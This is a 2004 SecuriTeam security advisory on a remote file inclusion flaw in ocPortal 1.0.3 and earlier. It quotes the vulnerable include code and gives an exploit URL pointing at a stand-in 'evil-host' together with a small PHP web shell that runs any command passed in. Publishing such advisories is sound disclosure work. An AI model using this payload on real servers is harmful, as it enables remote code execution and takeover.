

[UNIX] ocPortal File Inclusion Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0042.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/13/04

To: list@securiteam.com

Date: 13 Oct 2004 16:34:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ocPortal File Inclusion Vulnerability

SUMMARY

<<http://ocportal.com>> ocPortal is "the leader in community CMS and portal software for the web". A file inclusion vulnerability exists in the product allowing a remote attacker to insert PHP commands to the page being displayed by ocPortal and in addition cause them to execute.

DETAILS

Vulnerable Systems:

- * ocPortal version 1.0.3 and prior

Immune Systems:

- * ocPortal version 2.x.x

The vulnerability exists in the index.php file because there isn't any proper checking of the value provided by the \$req_path variable.

Vulnerable code:

```
if (!isset($req_path)) $req_path="";  
require_once($req_path."funcs.php");
```

Exploit:

Securiteam: [UNIX] ocPortal File Inclusion Vulnerability

By accessing the following URL:

http://localhost/ocp-103/index.php?req_path=http://evil-host/&com=ls and placing on the evil-host computer a file named funcs.php containing:

```
<?php
  $com = $_GET["com"];
  system ("$com");
?>
```

Will cause the command 'ls' to execute, and its results to return to the user requesting the URL.

ADDITIONAL INFORMATION

The information has been provided by <mailto:exoduks@gmail.com> Exoduks.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.